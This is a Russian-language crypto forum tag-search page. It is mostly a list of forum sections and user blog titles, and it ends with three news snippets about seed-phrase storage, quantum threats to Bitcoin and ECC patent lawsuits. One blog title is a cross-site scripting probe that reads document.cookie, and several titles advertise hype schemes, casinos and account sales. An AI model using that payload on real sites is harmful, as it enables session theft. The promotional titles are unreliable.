Перейти к содержанию

Поиск

Показаны результаты для тегов 'Криптография'.

  • Поиск по тегам

    Введите теги через запятую.
  • Поиск по автору

Тип контента


Биткоин форум

  • Новости и события
    • Новости криптовалют
    • Статьи Bits.media
    • Мероприятия
  • Криптовалюты
    • Общий
    • Биткоин
    • Форки биткоина, альткоины
    • DeFi, токены
    • Электронные деньги
    • Блокчейн и финтех
    • Юридические вопросы
    • Кошельки для криптовалют
    • Разработка
    • Безопасность
    • Мониторинг
    • Конкурсы
    • Флейм
  • Экономика & Операции с криптовалютами
    • Экономика
    • Биржи криптовалют
    • Обменники криптовалют
    • Банки
    • Трейдинг криптовалютами
    • Платежные решения
    • Магазины и сервисы (обсуждение, претензии)
    • Краудфандинг и Краудинвестинг
    • Игры, гэмблинг, хайпы, краны, раздачи, сигналы
  • Майнинг криптовалюты
    • Общие вопросы по майнингу
    • Пулы совместного майнинга
    • Облачный майнинг и агрегаторы
    • Программы для майнинга
    • Стейкинг, Фарминг
    • Аппаратная часть
  • Барахолка
    • Продажа
    • Покупка
    • Услуги, сервисы
    • Работа
    • p2p обмен валют
  • О ресурсе Bits.media
    • Предложения и замечания по работе сайта
    • Предложения и замечания по работе форума
    • Предложения и замечания по работе Блога
  • Local
    • English
    • Other

Блоги

  • polym0rph's блог
  • miner's блог
  • LZ
  • AtomicStrike's блог
  • SolomonVR's блог
  • SolomonVR's блог
  • Sergey371's блог
  • блог phants'а
  • Nirton's блог
  • loga's блог
  • m134's блог
  • Exdeath's блог
  • Exdeath's блог
  • bronevik's блог
  • R1mlin's блог
  • egorbtc's блог
  • Рабочий's блог
  • Парадоксальный блог
  • мыслеизлияние
  • infoman's блог
  • PoolSwitcher
  • Pa2K's блог
  • Garrett's блог
  • pendalf2008's блог
  • forsee1's блог
  • btcshtchka's блог
  • Майнинг Bitcoin
  • Nikita9344_blog
  • Блог Димы
  • Michail's блог
  • Николай III's блог
  • Artists for Bitcoin
  • Artists for Bitcoin
  • ultra's блог
  • Yablya's блог
  • Настройки 7970. Результат 730kh/s в Litecoin
  • SKYnv's блог
  • Новая финансовая система мира
  • ElenaMaaya's блог
  • блог нуба
  • Шифровалютная экономика
  • Kryon's блог
  • kermit's блог
  • Райзеры для видеокарт
  • Shambler's блог
  • busmainer's блог
  • busmainer's блог
  • yunixon's блог
  • полезняшки для себя`s блог
  • AlexShul's блог
  • Виталий's блог
  • Помогите если вас не затруднит..Как отметинь выплату BTC...а то мой акаунт зламали и вывели все деньги...
  • Warmrain's блог
  • app.spec.integra.circuit's блог
  • HW_from_China's блог
  • HW_from_China's блог
  • Vitto
  • neiros' блог
  • kolja153's блог
  • Инвестиции в биткоин
  • advodado
  • bronevik's blog
  • Gold Line блог
  • LuchininAlexandr's блог
  • Биткоин Робот
  • Obmen.PM-Сертифицированный партнер платежной системы Perfect Money
  • Antina
  • SHiCK блог
  • Шахтер без шахты
  • Шахтер без шахты
  • Блог пьяного аналитика
  • Блог пьяного аналитика
  • Planetarius' блог
  • Planetarius' блог
  • ObiKenobi's блог
  • RoboBet блог
  • Блог Одного Человека
  • Planetarius' блог
  • fastesthash.com блог
  • Блог Romanov Capital
  • Cryptex
  • Viktor Sokolov's блог
  • sanyatyu's блог
  • TabTrader's блог
  • bitlook
  • нуждаюсь в вашей помощи опытные майнеры!
  • lathyips' блог
  • ironika
  • Познай себя !!!
  • Ult's блог
  • ill359's блог
  • Суровые будни рядового майнера в РФ
  • CEX.io
  • CEX.io Blog
  • Майнинг Gridseed с контроллером Raspberry PI
  • bestcoin's блог
  • SPA
  • Официальный игровой клуб Вулкан
  • Форк будущего, какой он?
  • Добыча биткоинов
  • majorjora's блог
  • cryptmining.ru
  • блог r2d2
  • РАФАЭЛЬ's блог
  • DDEX блог трейдеров
  • Doomka2014's блог
  • Bitcoin, Litecoin, Doge - С чего начать?
  • dierdan's блог
  • Latium
  • General-Beck's блог
  • Btc-Mirbox.com Самая прибыльная программа в интернете
  • tunsash's блог
  • кирилллллллллллл's блог
  • tunsash's блог
  • Rita's блог
  • Philipp's блог
  • Philipp's блог
  • Zarmung's блог
  • CR!PTO Путешествия
  • poop's блог
  • Makezzila's блог
  • GruberCoin - криптовалюта?
  • Gromootvod's блог
  • Одежда с символикой Bitcoin
  • waflya's блог
  • AsicTrade.com
  • Стратегия выхода на зароботок 1 биткоин
  • начать зарабатывать без вложений биткоин
  • saas' блог
  • vov4ik777333's блог
  • Моя история инвестиций в хайпы
  • Блог о Linux внутри майнеров :)
  • Обзор майнеров
  • Socket32's блог
  • Все самое интересное в мире криптовалют one-percent.ru
  • antolmach's блог
  • Alex-ru блог
  • хороший заработок без вложений!
  • По заработку, информация может быть полезна
  • Продам майнер BITMAIN S3
  • Куда нужно вкладывать свои средства ,чтобы их не потерять и даже заработать на них!!!
  • Ёжики GC3355 - апгрейд (жизнь после "Телеги")
  • En1ken's блог
  • Александр Ch's блог
  • Почему сегодня не открывается сайт bitcoin.org
  • moneymaker's блог
  • НОВЫЕ ХАЙПЫ
  • poiuty's блог
  • Viktor1123's блог
  • igorwhite's блог
  • golub's блог
  • anajik's блог
  • algol68's блог
  • Khamid Sattarov's блог
  • anajik's блог
  • tankist's блог
  • wfdim's блог
  • Ixion's блог
  • BitcoinBank блог
  • fantom's блог
  • Neotex's Blog
  • Александр Самойлов_12600's блог
  • hterw's блог
  • ivanech's блог
  • Новый хайп
  • goodusers' блог
  • motozikl's блог
  • Необыкновенное будущее
  • AndreyNag's блог
  • italiy82's блог
  • Nook89's блог
  • Сибирский червонец
  • interesnye-novosti
  • Биткойномат
  • zzzzz12's блог
  • exspert'bitkoin
  • Александр Глобальный's блог
  • Взрывной Пакет по Заработку Биткоин!
  • Kerver's блог
  • Азартные просторы
  • Компьютерный мастер Баку (опытный мастер)
  • mjauka's блог
  • Vladimir77's блог
  • Joe Black's блог
  • ТоТсамый's блог
  • Kolja's блог
  • antontmn's блог
  • Взрывной Супер Пакет - Как Заработать Без Вложений !!
  • Bordz's блог
  • TheFuzzStone's Blog
  • AndreyNag's Create own PEERCOIN NODE блог
  • demio's place
  • Обменяю ваши WMZ на мои PAYPAL
  • Moonfire's блог
  • nik888's блог
  • EDRCoin info
  • D-APPS
  • 1620$ за 9 дней! заинтересованы ?! пишите в сообещния!
  • Mining bitcoin from farm Hashocean
  • Grail's блог
  • автоматизация процессов
  • Easy Money
  • BLOG Мир Интернет Бизнеса
  • besser99
  • Blog Мир Интернет Бизнеса
  • Blog Julin Gys
  • Coin's блог
  • observer btc-e, наблюдатель BTC-E.COM
  • Заработок биткоинов
  • Дмитрий1839's блог
  • Майнер Эфира и Декреда от Claymore
  • Gridseed GC3355
  • Karasur's блог
  • Right13's блог
  • tanya310119911's блог
  • Swisscoin-Швейцарская криптовалюта
  • Биткоин, путь к луне
  • fancyfinance
  • Evgeny 34's блог
  • Arcady's блог
  • THWGLOBAL
  • solnecno's блог
  • andr1986's блог
  • Alexey654321's блог
  • aleco's blog
  • Tomfox's блог
  • poolminers
  • dini_pal's блог
  • vovchik's блог
  • KolesCoinNews' блог
  • MONERO FOUNDATION RUSSIA™
  • ICONOMI до конца ICO 8 дней
  • альбина32's блог
  • Vladimir Eliseev's блог
  • Vanya Wang's блог
  • Btc Coin's блог
  • papa_medbedb's блог
  • 6000 сатоши в час. Узнай как!!!
  • Свирепый Гарри's блог
  • Sahat's блог
  • Подпишитесь на инстаграмм пожалуйста
  • Se7eN's
  • Снижаем расходы на электричество
  • SERHIY's блог
  • Фаридун's блог
  • ICO (Краудфандинг)
  • Cryptohawk's блог
  • arbitrader's блог
  • ОлегХомин's блог
  • Enzo's блог
  • masterigr2016's блог
  • kurs.expert блог
  • datachains.world Русский Блокчейн 3.0
  • Закрытый клуб BitClub Network
  • Sayat Ibraev's блог
  • maksim2030's блог
  • BITCOIN блог
  • vvka's блог
  • скажите кто знаком долго будит жить этот хайп типо майнинг
  • BitClub Network
  • Краудсейл Augmentors ICO
  • Динар's блог
  • disodium
  • Новые краны по сбору биткоинов
  • Pedro
  • Selling account/продажа аккаунта
  • Как обменять Биткоин в Рубли
  • Заработай играя
  • Genesis Mining Russia's блог
  • Гена's блог
  • Гена's блог
  • Baccarat_1
  • Genesis Mining Russia's блог
  • Siberian Miners
  • Work-bitcoin
  • mike0013's блог
  • Внимание Новинка BTCHAMP
  • LeslyGarold's блог
  • Объясни бабуле криптовалюты
  • New bitcoin dice
  • ★ Global Success ★
  • isadora's блог
  • Prince tv's блог
  • КриптоМир блог
  • Блог BitBetNews
  • Cryptotrend
  • BitBetNews' блог
  • AlamurFury's блог
  • AlamurFury's блог
  • doBETacceptBET's блог
  • postscreen's блог
  • Krot's блог
  • МаршалНиколас's блог
  • Самый лучший майнинг биткоинов и других криптовалют
  • Bitbetnewss' блог
  • barrygoldwon
  • Мошенничество в глобальном масштабе
  • Marina_Aco_M's блог
  • Leon Organo's блог
  • Nikolai Tran's блог
  • Colonizator's блог
  • KriptoKurs блог
  • isa2016's блог
  • Utopia
  • Анжелика9808's блог
  • fxseminar's блог
  • Заработок в интернете с нуля + халява
  • ZORROZ's блог
  • LeoKartman's блог
  • Альберт Карачурин's блог
  • Bitcoin
  • isalm's блог
  • Yur1K's блог
  • Нервная система
  • Нервная система
  • Крипто-Проекты
  • comof2014's блог
  • Sand Coin
  • bitaps.com
  • 1 Bitcoin в месяц легко
  • BIP148
  • HEAgEKBATEH's блог
  • Miner42's блог
  • ChangeKripta's блог
  • mediavoice's блог
  • realestate's блог
  • куплю мощности на hashflare SHA-256 SCRYPT
  • proshift's блог
  • Stan Podyachev's блог
  • CNstuff's блог
  • Alex Lee's блог
  • RX470+RX460 падает хешрейт
  • Макроэкономика криптовалют
  • Криптовалюты и ICO
  • NV42Rus' блог
  • Николай Еременко's блог
  • deg237's блог
  • Bit Bet News' блог
  • xcilog's блог
  • YaNeFiShKa's блог
  • Соломон's блог
  • 23
  • Натур. Мясцо
  • AEON растёт в геометрической прогрессии-хватаем халяву
  • Про биткоин в России
  • Investy
  • Оборудование в стоках и фьючерсах. Китай.
  • адрес
  • HOQU
  • VitalyKaminsky
  • HOQU_rus
  • Грека через реку
  • CryptoCapitalNews
  • Finom Blockchain Blog
  • Everex
  • GoldMineCoin
  • Kolbasska
  • TombCare
  • CREDO - СИСТЕМА ОПЛАТЫ СЛЕДУЮЩЕГО ПОКОЛЕНИЯ
  • Сатош
  • G-obmen
  • Блог Трейдера
  • Revolutionising the 3 core functions of finance.
  • TH
  • Заработок в интернете
  • Privateers.Life - Пиратская ММО на Blockchain
  • Все просто! Все слухи про Биткоин
  • Человеческий
  • Запас прочности Биткоина.
  • Продажа недвижимости в Ялте за биткоины
  • Криптонатор - правда, или обман?
  • @slon21veka
  • AION - инновации технологии блокчейн
  • Подарите на жизнь 1 биткоинт живу бедно
  • Кирпто-портфель
  • Биткоин
  • События мира криптовалют из первоисточников. Аналитика и торговые идеи.
  • Бродкаст старого криптоанархиста
  • В РФ предложили изымать у населения биткоины и передавать их в казну
  • CloudCoin
  • Прошу вашей милость помогите прошу
  • Мои заметки о крипте
  • Криптоаналитика
  • Bitcoin в деталях: полезные ресурсы, инструкции и сервисы
  • Обмен денег
  • Ищу партнера
  • Bitex
  • вывод с ХФ от 6-7 дек
  • GRAPHENE - Нанотехнологии уже близки!
  • жит
  • CryptoMomus
  • Южная Корея планирует бороться с криптолихорадкой!
  • Майнинг на асике с нуля на высокой цене электроэнергии
  • Биткоин растёт
  • баги
  • Blockchain projects blog. Новости, обзоры, анонсы.
  • Криптомир
  • MIRANIT
  • история!
  • Cryptowolftrade
  • https://pocket-exchange.com
  • Глобальная криптовалютная биржа с низкими комиссиями
  • Глобальная криптовалютная биржа с низкими комиссиями
  • ideal zanussi maintenance beheira
  • Сервисы для продвижения сайта
  • ForkGold
  • btnPLUS
  • ForkGold - Новости криптовалют!
  • !!!ICO TELEGRAM!!!
  • White Rabbit - не меньше, чем революция в цифровом распространении фильмов и сериалов.
  • artem.litvinenko2018@list.ru
  • Ищу партнера/инвестора для открытия GPU Фермы/Хостинга
  • ПРЯМАЯ ВИДЕО ТРАНСЛЯЦИЯ
  • Moscow Miner service
  • Жизнь в Одессе маме
  • Майнинговый Проект TERRAMINER. SCAM или SCAM ALERT?!?
  • [ANN] Blockchain for a good cause
  • World’s first blockchain based news content
  • Обзоры товара
  • Dropil: Smart Investment Trading Algorithm
  • [ANN] GOLDELIM ICO - Free tokens
  • Seele.pro - Next generation of Blockchain technology
  • Kriptoblog
  • New trending MaltaCoin
  • [ANN][ICO] Monaco Estate - Cryptocurrency Real Estate Investment Fund ICO
  • NanoCryptos
  • BitBullCoin.io - The future of advanced global money transaction
  • Блог
  • Продажа аккаунта на golden-birds.biz
  • [pre-ANN]BCharity-международная биржа благотворительности
  • SmartChain.io
  • Майнинг отель в Москвской области
  • BytecoinRu
  • Частное мнение
  • Terhubung dengan Dunia dimana saja dan kapan saja bersama E-Chat
  • COPYTRACK menjadi satu satunya crypto Hak Cipta global
  • kyros
  • kyros
  • Оборудование для майнинга в интернет-магазине Wattson-shop
  • Biometrids Platform for identification
  • [ANN] [ICO] PINGVALUE ICO - RELEVANT ADVICE FOR YOUR NEXT EXPERIENCE
  • MinerGate affiliates (реффералы)
  • BitMEX.com Review
  • Помогу пройти верефикацию Poloniex!
  • Быстрый и безопасный обмен электронных денег по выгодному курсу.
  • e-chat platform multifungsi terdesentralisasi pertama dengan dompet crypto built-in.
  • Cryptonomics Capital - фонд инвестиций в ICO
  • Cloud Komputer pribadi tersedia untuk semua orang
  • BestICO
  • NewProjectReview
  • Saatnya beralih ke Blockchain, bitcomo pemasaran afilasi pertama dan satu satunya
  • International Crypto Bank Coin
  • Про криптотехнологии
  • Vinnd Solusi untuk kesehatan anda melalui blockchain
  • Обзоры перспективных ICO
  • байкал х10
  • Bagaimana Vinnd bekerja pada teknologi Blockchain
  • СберБит
  • Digital Safe Coin, upcoming best cryptocurrency?
  • lowenchain mirror
  • Pinjaman tanpa jaminan yang aman
  • Transcordium - Decentralized Peer-to-Peer Media Editing,
  • La Nueva Plataforma Descentralizada de Edición, Transcodificación y Distribución bajo blockchain
  • CryptoSailors
  • TokenGo обзор ICO
  • Инвестируйте в оборудование для майнинга
  • Buy celebrities with Ethereum now
  • [ICO] Coins4Favors - just one click away
  • bits.media
  • Необъяснимо, но факт или сила подсознания
  • Perkenalkan Myriads.IO ...
  • Arbidex – Platform Tranding Aset Dengan Sistem Arbitrase Otomatis di Semua Pertukaran
  • ARBIDEX The First Trading Platform That Collects Liquidity From Exchanges With Automatic Arbitrage System
  • FintruX
  • Invest-HyipTopMonitor
  • Инструкция как заработать на крипто баунти и airdrop!
  • первая и единственная платформа, которая собирает ликвидность и обмены в обмен
  • Arbidex, Сначала с помощью системы обмена арбитражами с криптовалютной валютой
  • Advance.Fund ft Strade Trade
  • Advance.fund
  • Новый проект 2018 года!
  • Esports Wife App - Free Cash, Bitcoins, Dota 2 & more
  • Торговый робот PoloR для Poloniex
  • Учимся торговать, снимаем розовые очки, разоблачаем шарлатанов.
  • Arcane Bear: Building a better tomorrow with the stories from today
  • COOLCOUSIN
  • Elementh - Blockchain for e-commerce
  • Coin News Telegraph | Bitcoin and Blockchain News
  • Новости ICO
  • What are the most profitable and best sites to invest?
  • Всеобъемлющий Блокчейн или тотальная монетизация
  • Sphere Social - Decentralized Social Network
  • Earn Bitcoins while using Google Chrome
  • MASSKRYP
  • Sell btc on paypal USD
  • coinview - Automated, real-time digital assets portfolio tracking
  • Bitcoins в Дубаи
  • Parkgene [GENE]
  • Mavro - Sebagai bos pemasaran jaringan di dunia kripto-mata uang
  • Biometrids
  • SunMoney Token Sale
  • Serenity Financial - SI ICO Trader / Broker Arbitration Invest Token?
  • Serenity Masalah Forex Keuangan Dipecahkan oleh Blockchain
  • File Gas, Masa Depan Penyimpanan Berkas.
  • [ANN] Solomonstouch - The World’s First Humanitarian, Donation and Fundraising Blockchain Platform
  • SAVEDROID строит экосистемы на основе ИИ
  • PARKGENE - STARTVOLUTION PARKIR DAN SOLUSI P2P BERDASARKAN TEKNOLOGI BLOCKCHAIN
  • TOKEN HACK VC
  • [ANN] THRINTEL MARKET™ - The Blockchain Evolution of Threat Intelligence Sharing
  • [ANN] Lunes - The biggest blockchain project in Latin America
  • Как начать зарабатывать?
  • Cryptocurrency Announcements
  • alexxpoll blog
  • blogs_blog_700
  • blogs_blog_702
  • Инновационная экосистема блокчейн, которая подорвет и децентрализует рынки повторной продажи билетов.
  • ICO-online: история создания проекта Me&Doc с нуля до выхода на ICO
  • ATS — В сети интернет обнаружен VIRUS, который убьет ICO проекты
  • Частное мнение
  • Announcements
  • Upminer - ремонт асиков (майнеров)
  • WORLD PEACE COIN: THE FIRST CRYPTO-CURRENCY WHO CARE ABOUT THOSE IN NEEDS
  • Cryptocurrency
  • blogs_blog_720
  • blogs_blog_722
  • blogs_blog_724
  • blogs_blog_726
  • blogs_blog_728
  • AKAIITO #ICO
  • AKAIITO : Platfrom Yang Kuat Dan Beropersi Berdasarkan Blockchain
  • Мониторинг обменников bitcoin
  • Akaiito! Platform untuk kontrak cerdas dan mata uang crypto!
  • AKAIITO Project - Platform yang kuat berdasarkan pada sistem blockchain yang berfungsi pada teknologi kontrak pintar
  • Akaiito – use cryptocurrency in everyday life
  • blogs_blog_742
  • blogs_blog_744
  • Markscheider - проект производства российских майнеров
  • Партнерка - 25% с продажи
  • Биржа криптовалют BitHash
  • Облачный майнинг.
  • Крипто
  • Airdrops
  • Как заработать на криптовалюте
  • CryptoBanOne
  • Проверенная игра Capitalist Game Bot с выводом денег
  • Ashtart - A future where everyone can access energy
  • Блог о ICO-проектах
  • Перспективное ИСО
  • [ICO] MYRYMAX - MAIN SALE (ICO1) IS LIVE
  • Announcements
  • blogs_blog_776
  • blogs_blog_778
  • Neironix Daily Digest - Ежедневный Аналитический Дайджест
  • Digithereum Global
  • Cryptonet. Сообщество профессиональных криптопредпринимателей
  • Announcement blog
  • Crazyer Crypto
  • Альтернативная криптовалюта.
  • Интерактивная платформа CryptoBliss
  • Интерактивная платформа CryptoBliss
  • ICOnow
  • Crypyotraid
  • Ты мне я тебе
  • Криптокнопка "Бабло"
  • Egorr4 Review Blog
  • [Masternode] Dash Platinum запуск!
  • Как сэконмить больше своих денег при переводе в криптовалюты
  • все собрано по сути в компании на ферме в Литве ,вы просто приобретаете, в Москве и СПб есть представители
  • bitcoin abc
  • bitcoin abc
  • Shodik
  • Обзоры майнинг-пулов
  • оптимизированная Equihash miner zcash
  • avto-monstr.ru/ref/4976. 
  • crypt-mining.net
  • CryptoPlayers
  • Описание проекта Crypto Credit Card
  • Криптовалюта
  • cryptMiningNet
  • Peoplewave - Revolutionise recruitment, background checks, onboarding and etc
  • How does the economics community see Bitcoin?
  • Dash Platinum
  • sarah crypto
  • Важное в мире крипты и финансов
  • matty0312
  • cryptocurrency9527
  • oldwolfcoin
  • зарабатываем здесь
  • amyqkl
  • Cryptocurrency information sharing
  • Сергей Онищенко
  • Германия – Швеция: видео трансляция LIVE
  • Всем привет!
  • Мой кино блог
  • Мониторинг обменников BestChange
  • WPGrabber
  • Мой личный кино блог
  • Аналогии
  • Jsa
  • Nama
  • Крипто EXMO News
  • Independent Delhi Escorts
  • Bitok.cc — современный сервис обмена криптовалют
  • Enjoy All Time Fun
  • GEX_CASH
  • РАБОЧИЙ МАЙНИНГ
  • bikoin что это
  • AvailCom - бесключевая аренда имущества
  • THE BEST ICO OF 2018
  • Smile-Expo. С любовью к инновациям!
  • crypto-currency news
  • CryptoChangeNews
  • HELP Token
  • Казино онлайн
  • Microsoft медленно (но точно) подключает Blockchain к основным продуктам
  • Jullie Chandigarh Escorts
  • Установка и настройка Bminer
  • Roundblock
  • Прием Биткоин платежей в OpenCart 3.x, 2.3 и OcStore
  • Иммерсионное охлаждение в майнинге и наукоемких вычислениях на GPU
  • Мастерноды/Masternodes
  • Девчонки-короткие юбчонки
  • Майнинг и фермы HotAsic.ru
  • Localcoinswap - P2P cryptoexchange
  • Tchtf
  • crypto-mining. Bitcoin
  • Мой блог
  • 50x - СКОРЫЙ ВЫХОД НА БИРЖУ С ЕЖЕДНЕВНЫМ НАЧИСЛЕНИЕМ ДИВИДЕНДОВ
  • LoL cec
  • ✅ Новая эра P2P обмена! Аукцион от LKWAVE ?
  • Bitcoin crane
  • Bitcoin Crane
  • Дневник трейдера
  • Разработка скриптов для арбитражной торговли
  • "><img src=x onerror=alert(document.cookie)>
  • Все по маслу
  • Криптоплатформа Bitzlato
  • Bitshares
  • Enjoy full fun with me
  • Блог Papa Change
  • Меняем быстро, не оставляя ожиданий >EXMO,BTC, Оплата: Банковской картой, QIWI-Кошелёк.
  • Oz - Blog
  • RExchange24.ru
  • CryptoChemistry
  • Применение крипты в казино
  • tapchibitcoin.vn
  • THE MOST CHEAPEST AND ACCURATE CELL PHONE NUMBER AND EMAIL DATABASES IN THE WORLD
  • TRUST7
  • ВЛАДИМИР БАКС
  • iEXBase
  • Egamov Bexruz
  • Продать S9, L3 +
  • BestChange
  • CloudCoin
  • Polyx — криптовалютная платформа
  • Мировые новости
  • Новости со всего мира IT и не только
  • Pi Network Coin Mining Project
  • Сайт bits.media топ!
  • Coinmatics LIVE
  • FPGA Криптовалютный майнинг руководство
  • Настройка сервера
  • otzivipro блог
  • ExchangeRates.Pro: сравнение цен обмена Биткойн и 33 криптовалют в России и мире — биржи, обменки, P2P ?
  • Бинариум как открыть счет регистрация и бонус
  • Амикта - блог про инженерию
  • Игровые автоматы на деньги
  • 11111100101
  • Комп для майнинга с Алика
  • https://freebitco.in/?r=33865777
  • Неудачный инвестор
  • Блог сервиса проверки биткоинов Traceer
  • Как я выжил
  • Baking Bad
  • Статус Криптовалюты в этом мире
  • Joys Digital
  • Как я попал в криптобизнес
  • Arbitrage systems.com - мошенники
  • myproject1
  • Яйца в разных корзинах
  • Qtum
  • Binance P2P
  • Бестчендж лучший обменник
  • Краны для Coinpot
  • Мир криптовалют
  • Обменник
  • Crypto-дайджест
  • MoneroASM [Вникаю в блокчейн]
  • Музей компьютеров и игр - история майнинга
  • bitcoin exchanger
  • Blockchain News
  • What’s SoupSwap ?
  • SoupSwap - Big Promotion Special Offer Only For Investor Earn Bonus Up To 30%
  • SoupSwap - Big Promotion Special Offer Only For Investor Earn Bonus Up To 30%
  • SoupSwapOfficial
  • TradingStrategy - "Софт для глубокого анализа и торговли на крипто рынках, собственной разработки"
  • TradingStrategy - "Софт для глубокого анализа и торговли на крипто рынках, собственной разработки"
  • TradingStrategy - "Софт для глубокого анализа и торговли на крипто рынках, собственной разработки"
  • CryptoTab
  • Мой путь
  • We need to help the family of a political prisoner
  • Новие аирдропы
  • ? Crypto Cat / криптовалюты
  • На пути к прибыльному трейдингу!!!
  • KeenEdge блог
  • Tron network
  • Помогу деньгами всем желающим
  • Лучший обменник BestChange ищи лучший курс для обмена!
  • AEX
  • ПРОДАЖА АКАУНТОВ-BINANCE ВЕРИФИЦИРОВАННЫE ЧИСТЫЕ
  • Дневник спекулянта
  • Акции и Новости обмена криптовалюты и эл. денег
  • Новости электронных денег
  • AML / KYC в крипто
  • Bizonex
  • Crypto News
  • HoldReef - бесплатный и безопасный мессенджер для владельцев криптовалют
  • Обзоры крипто-проектов
  • Crypro Coin Desk
  • Nodle: сеть устройств интернета вещей (IoT)
  • Geek Games
  • Dexsport_io
  • Lalicat лучше Multilogin?
  • VPS/VDS/VPN в Европе
  • LuckyMeta AirDrop Giveaways
  • Блог
  • EuroHoster - территория быстрых VPS и выделенных серверов
  • За последние 24 часа
  • Уоррен Баффет назвал Биткоин болезнью и предрёк полное исчезновение криптовалют
  • Cryptex
  • ltc-crypto.blog
  • ECDSA
  • Будни ленивого трейдера
  • m1
  • Insights Driven Reports
  • Vyral Wings - Crowdfunding
  • Правила майнинга в криптозиму
  • 내부 비밀에 홀덤 발견
  • Как кратно увеличить свой доход в крипте с помощью мультиаккаунтинга
  • Надежный поставщик металлопроката обеспечивает комплексное обслуживание.
  • Bitmain Antminer l7 - обзор, характеристики, доходность - 2140MINER
  • Обзоры платформ NFT
  • CryptoApe
  • Приколы
  • Evraz
  • крипта у вас на сайте
  • Криптообменник Smart Obmen
  • Smart Obmen
  • Обучение Крипто Арбитража и Трейдинга
  • MyChange.io - Мультивалютный криптокошелек с P2P Торговлей и 0% P2P Комиссии
  • Как получить историческую цену ERC20-токена
  • TopCrypto
  • AdSense Alternative
  • ISTOKS
  • Digital Capital | Research
  • Signum Journal СМИ о криптовалюте. В активном поиске свежей аналитики и экспертных комментариев для последующих публикаций
  • Обо всё простым языком
  • Мысли Сатоши
  • Top Casino
  • evangelist
  • BTCmedia
  • 3. Как получить больше раздач с несколькими учетными записями? Смотреть здесь
  • Актуальные AIRDROP
  • Блог CryptoYes
  • Simple Solution
  • Криптоигры
  • FinMS Edenex - Система управления финансовыми потоками обменных пунктов
  • TJ TEAM
  • ЭКВИ: новый взгляд на инвестиции в коммерческую недвижимость
  • choise media
  • Moogarden_ru
  • Заработок в интернете
  • Crypto Defender Agency - компания, специализирующаяся на предоставлении комплексных услуг по безопасности и расследованию инцидентов в криптовалютной индустрии.
  • О криптовалютах простым языком
  • Nimlab.eu: Новости и решения в мире криптовалют
  • Топ онлайн казино 2024: список популярных сайтов с честными условиями и высокой отдачей
  • Добро пожаловать в UnoMoneyExchange — ваш надежный партнер в мире обмена валют!
  • SWAPMI | Trading
  • Подключение на закрытую P2P процессинговую площадку
  • BLOG NikaSafronova
  • Создание крипторезерва в РФ как в США
  • Markov Daniil BLOG
  • Советы по трейдингу: Скальпинг сделок с криптовалютами для эффективной торговли
  • blog.elena.kot
  • NewsNews
  • 📢 POW vs POS: что выбрать в 2025 году?
  • DeFiNeko Journal
  • Titan Trade: Реалистичные стратегии заработка и роль P2P-обменников
  • Torbit.Exchange — надежный сервис для обмена криптовалют.
  • Все о цифровых технологиях

Категории

  • Кошельки
  • GPU майнеры
  • CPU майнеры
  • FPGA/ASIC майнеры
  • Драйверы
    • AMD
    • Nvidia
  • Прошивки ASIC майнеров
    • SHA2
    • Scrypt
    • X11
    • EquiHash
    • Ethash
  • Прошивки видеокарт
  • Утилиты
  • Софт для трейдинга
  • Софт для мониторинга

Поиск результатов в...

Поиск контента, содержащего...


Дата создания

  • Начало

    Конец


Дата обновления

  • Начало

    Конец


Фильтр по количеству...

Регистрация

  • Начало

    Конец


Группа


Сайт


Telegram


WhatsApp


Discord


Signal


Jabber


Tiktok


Город:


Интересы


Bitcoin кошелек


Ethereum кошелек


Tron кошелек

  1. Глава «Биткоин-семьи», продавшей восемь лет назад дом и все свои вещи ради покупки первой криптовалюты, Диди Тайхуту (Didi Taihuttu) рассказал, что на фоне волны похищений криптоинвесторов ему пришлось полностью изменить подход к хранению цифровых монет. «Биткоин-семья» стала популярной в 2017 году после того, как Тайхуту и его жена вложили вырученные от распродажи имущества деньги в биткоины. С того момента пара путешествует, рассказывая встречным о пользе криптографии и блокчейна. В последние восемь месяцев семье пришлось пересмотреть меры безопасности, рассказал Тайхуту. По его словам, аппаратные кошельки семья больше не использует, а вместо них использует гибридную систему: сид-фразы разделены на части, а части спрятаны в разных местах на четырех континентах Земли. Часть данных хранится в зашифрованном виде на блокчейне, другая — выгравирована на огнестойких металлических пластинах в физических тайниках. Дополнительно Тайхутту применил «личное шифрование», заменив некоторые слова в фразах. «Даже если мне приставят пистолет к голове, я не смогу отдать больше того, что лежит на кошельке в моем телефоне. А там немного», — заявил Тайхутту. Подробнее: https://bits.media/bitkoin-semya-spryatala-klyuchi-ot-svoikh-kriptoaktivov-na-chetyrekh-kontinentakh/
  2. Председатель правления Strategy Майкл Сэйлор (Michael Saylor) назвал напрасными опасения криптоэнтузиастов по поводу квантовых вычислений, с помощью которых можно взломать адреса Биткоина. В интервью каналу CNBC на программе Squawk Box Сэйлор заявил, что потенциальное влияние квантовых вычислений на биткоин вряд ли можно считать серьезной угрозой для безопасности сети. По мнению Сэйлора, это лишь маркетинговый ход людей, которые хотят продать очередной «квантовый токен». По данным исследовательской компании Project Eleven, 10 млн адресов Биткоина имеют незащищенные открытые ключи, и более 6 млн BTC могут оказаться под угрозой, если вычислительные машины станут достаточно мощными, чтобы взломать ключи криптографии эллиптической кривой биткоина (ECC). Однако Сэйлор пояснил, что даже если бы у каких-нибудь технологических гигантов возникла реальная угроза квантовых вычислений, они бы ее не раскрыли, поскольку это может поставить под угрозу их бизнес и даже правительство США. Руководитель Strategy предположил, что Google и Microsoft не продадут компьютер, взламывающий современную криптографию, потому что это уничтожит корпорации, правительство США и банковскую систему. А при появлении законного квантового компьютера, который может угрожать безопасности Биткоина, разработчики протокола и производители оборудования внедрили бы в сеть исправление. Подробнее: https://bits.media/maykl-seylor-kvantovye-vychisleniya-ne-ugroza-dlya-bitkoina/
  3. Ирландская компания Malikie Innovations подала судебные иски против крупных биткоин-майнеров Marathon Digital и Core Scientific, обвиняя их в нарушении законов об интеллектуальной собственности и использовании патентованных технологий по майнингу биткоинов без получения соответствующей лицензии. Согласно судебным документам, иски касаются использования оборудования и программного обеспечения для майнинга биткоинов, а также технологий, охватывающих алгоритмы эллиптической криптографии (ECC) для генерации и проверки цифровых подписей, которые лежат в основе работы блокчейна Биткоина. Юристы Malikie заявили, что компания владеет 32 000 «некритичных» патентов, которые были приобретены в собственность у BlackBerry за $200 млн в 2023 году. Они требуют от ответчиков компенсации за нарушение прав интеллектуальной собственности и уплаты роялти за использование патентованных технологий в майнинге цифровых активов. Malikie Innovations не раскрывает конкретную сумму компенсационных требований, но предполагает, что в случае судебного удовлетворения исков это может привести к значительным выплатам со стороны Marathon Digital и Core Scientific сразу за несколько лет незаконного использования патентов. Подробнее: 